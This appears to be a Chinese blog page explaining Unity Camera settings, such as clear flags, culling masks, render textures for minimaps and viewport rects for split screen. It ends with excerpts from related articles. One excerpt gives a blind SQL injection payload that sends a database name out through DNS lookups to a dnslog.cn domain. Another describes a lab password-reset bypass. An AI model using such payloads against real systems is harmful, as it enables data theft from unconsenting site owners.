unity操作_Camera c#

news2024/12/26 20:44:37

观察场景中Main Camera 的清除背景Clear Flags

第一种:Skybox天空盒渲染    制作3D游戏使用

第二种:Solid Color                制作2D游戏

第三种:Depth only               多个摄像机叠加渲染     相对重点学会多个摄像机设置Depth only使用

第四种:Don'tClear                不清除每一帧渲染         通常不会用到

Culling Mask   选择性渲染部分层级                       可以指定只渲染对应层级的对象

解释:我们观察unity场景中Cube1层级为Default

修改Cube1层级为想选中的层级 以water为例

在主摄中选择不观察water层级

在运行窗口就看不见主摄不观察的层级物体                              重点

Perspective   透视模式3D         近大远小  

Orthographic 正交摄像机2D     近远一致

Clipping Planes裁剪平面距离

Rest 物体 和 主摄 使重合

拖动物体   观察运行窗口的视角 就是  裁剪平面距离

Depth   渲染上的深度顺序    数值越小越先放被覆盖      数值越大越后放覆盖先放的

通常这三个配合使用渲染

Target Texture渲染纹理 :· 可以把摄像机画面渲染到一张图纸上  主要用于制作小地图 

                                          ·建图:在Project右键创建 Render Texture

通常渲染纹理使空的

建图:在Project右键创建 Render Texture

我们将新创建的图放置Main Camera 的 Render Texture纹理渲染上

那么所显示的图就是主摄的正向图

可以理解等于给主摄加了一个底片

接下来我们做一张小地图

首先将主摄里的Render Texture置空

接下来创建一个Camera

接下来改变新建Camera的旋转角度,x=90使其俯视 然后更改新建Camera的位置使其能看到场景上的所有物体

最后给新建Camera一个Render Texture建图

Occlusion Culling是否启用剔除渲染 : 通常开启剔除渲染 意思就是遮挡的地方不被渲染 这样可以为系统减少一些计算量

Viewport Rect 视口范围 :

屏幕上将绘制该摄像机视图的位置   主要用于双摄相机游戏 0~1相当于宽高百分比

通常:

相当于0~1从左至右  由下至上  由黑至白

比如:1/4屏幕

比如:

比如:

我们常会在游戏中看到pvp多个摄像机画面

接下来我们创建一个四个摄像机的同时画面


 Rendering path 渲染路径

Allow HDR 是否允许高动态范围渲染                  了解即可

Allow MSAA 是否允许抗锯齿                                  了解即可

Allow Dynamic Resolution 是否允许动态分辨率呈现               了解即可

Target Display 用于哪个显示器 主要用来开发有多个屏幕的平台游戏   了解即可

注意:一般使用多个摄像机都是 一摄像机单独渲染某个物体不会出现两个摄像机重复渲染的情况

重点在于 标红部分

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1067507.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

鸿蒙手表开发之使用adb命令安装线上包

#国庆发生的那些事儿# 鸿蒙手表开发之使用adb命令安装线上包 前言: 由于之前的哥们匆忙离职了,所以鸿蒙手表项目的新版本我临时接过来打包发布,基本上之前没有啥鸿蒙经验,但是一直是做Android开发的,在工作人员的指…

【FPGA零基础学习之旅#14】串口发送字符串

🎉欢迎来到FPGA专栏~串口发送字符串 ☆* o(≧▽≦)o *☆嗨~我是小夏与酒🍹 ✨博客主页:小夏与酒的博客 🎈该系列文章专栏:FPGA学习之旅 文章作者技术和水平有限,如果文中出现错误,希望大家能指正…

DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上: 1、打开 http://www.dnslog.cn 获取域名 2、注入: ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显:

机器学习笔记 - 两个静态手势识别的简单示例

一、关于手势识别 手势识别方法通常分为两类:静态或动态。 静态手势是那些只需要在分类器的输入处处理单个图像的手势,这种方法的优点是计算成本较低。动态手势需要处理图像序列和更复杂的手势识别方法。 进一步了解可以参考下面链接。 静态手势识别和动态手势识别的区别和技…

jpype 调用jar时,返回结果的中文乱码

解决方法: 在启动java虚拟机的参数上,加上 "-Dfile.encodingUTF-8"

MongoDB集群管理

1、副本集-Replica Sets 1.1、简介 MongoDB中的副本集(Replica Set)是一组维护相同数据集的mongod服务。 副本集可提供冗余和高 可用性,是所有生产部署的基础。 也可以说,副本集类似于有自动故障恢复功能的主从集群。通俗的讲就…

项目管理中有效任务分配的简单指南

在项目管理中,有时会出现人力资源匮乏或负担过重的情况。因此,项目经理有责任确保在项目进度内,将任务于正确的时间分配给正确的人。 任务分配有哪些不容忽视的好处? 在专业项目管理工具的帮助下,正确地进行任务分配…

详解IDEA git 版本回滚

作者简介 目录 1.git分区 2.未commit,进行回滚 3.commit未push,进行回滚 3.1.undo commit 3.2.reset 4.已commit&push,进行回滚 1.git分区 git的版本回滚其实就是回滚不同的分区,所以在聊git回滚之前我们有必要简单了解…

ElasticSearch环境准备

Elasticsearch 是一个基于 Apache Lucene™ 的开源搜索引擎。不仅仅是一个全文搜索引擎,它还是一个分布式的搜索和分析引擎,可扩展并能够实时处理大数据。以下是关于 Elasticsearch 的一些主要特点和说明: 1.实时分析:Elasticsear…

文件格式转换

把我的悲惨故事说给大家乐呵乐呵:老板让运营把一些数据以json格式给我,当我看到运营在石墨文档上编辑的时候我人都傻了,我理解运营的艰难,可我也是真的难啊,在石墨文档编辑的眼花缭乱的,很多属性都错乱了(诸…

关于seata启动时连接数据库异常,Mysql版本8.0

异常报错: ERROR --- [ionPool-Create-1772825962] com.alibaba.druid.pool.DruidDataSource : create connection SQLException, url: jdbc:mysql://127.0.0.1:3306/seata?useUnicodetrue&rewriteBatchedStatementstrue, errorCode 0, state 08001 > com…

工信部教考中心:什么是《研发效能(DevOps)工程师》认证,拿到证书之后有什么作用!(上篇)丨IDCF

在计算机行业中,资质认证可以证明在该领域内的专业能力和知识水平。各种技术水平认证也是层出不穷,而考取具有公信力和权威性的认证是从业者的首选。同时,随着国内企业技术实力的提升和国家对于自主可控的重视程度不断提高,国产证…

最有趣的代码or最蠢的代码?

如何写漂亮的代码 “愚蠢的代码” 是一个主观的说法,因为代码的质量取决于许多因素,包括编写代码的人的经验、知识水平以及代码的上下文。但是,有一些常见的编程实践,如果被采用,可能会导致代码被认为是愚蠢的或低质量…

深入理解Docker:简化部署与管理的利器

文章目录 引言Docker简介Docker的背景和发展Docker的优势和特点 Docker的基本概念和架构镜像(Image)容器(Container)仓库(Repository)Docker架构 Docker的常用命令和操作Docker的安装和配置Docker镜像的管理…

墨者学院——登录密码重置漏洞分析溯源

先用17101304128的进行抓包 点击获取验证码 发现没有验证码,所以要用18868345809拿验证 抓包后,把17开头的电话号码改成了18开头的,然后获取验证码 然后用17开头的电话号码重置,用18开头的验证码 进行重置密码,拿到…

前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(七)放大镜实战

个人实战文档 本次实战是对自己整个api阶段的总结。 参考效果如下地址: http://erabbit.itheima.net/#/product/3995139 本次实战主要分为以下几个模块。 顶部导航模块 需求: 顶部导航开始不显示等页面滑到主导航栏,这个新顶部导航栏滑…

日志导致的io负载高和cpu飙升问题

1.问题 项目上线前需要对接口进行性能测试,发现有2个查询接口性能始终达不到上线要求 2.分析过程 取线程快照 打印线程堆栈日志: 通过上面发现54个线程处于 waiting on condition 状态,在等待写入磁盘日志,所以断定瓶颈在写入日志io这块所以将日志打印关闭,再部署一版试…

深度学习笔记之优化算法(三)动量法的简单认识

机器学习笔记之优化算法——动量法的简单认识 引言回顾:条件数与随机梯度下降的相应缺陷动量法简单认识动量法的算法过程描述附:动量法示例代码 引言 上一节介绍了随机梯度下降 ( Stochastic Gradient Descent,SGD ) (\text{Stochastic Gradient Descen…

再不跳槽,就晚了....

从时间节点上来看,3月、4月是每年跳槽的黄金季! 以 BAT 为代表的互联网大厂,无论是薪资待遇、还是平台和福利,都一直是求职者眼中的香饽饽,“大厂经历” 在国内就业环境中无异于一块金子招牌。在这金三银四的时间里&a…

基于SVM+TensorFlow+Django的酒店评论打分智能推荐系统——机器学习算法应用(含python工程源码)+数据集+模型(一)

目录 前言总体设计系统整体结构图系统流程图 运行环境Python环境TensorFlow 环境方法一方法二 安装其他模块安装MySQL 数据库 模块实现1. 数据预处理1)数据整合2)文本清洗3)文本分词 相关其它博客工程源代码下载其它资料下载 前言 本项目以支…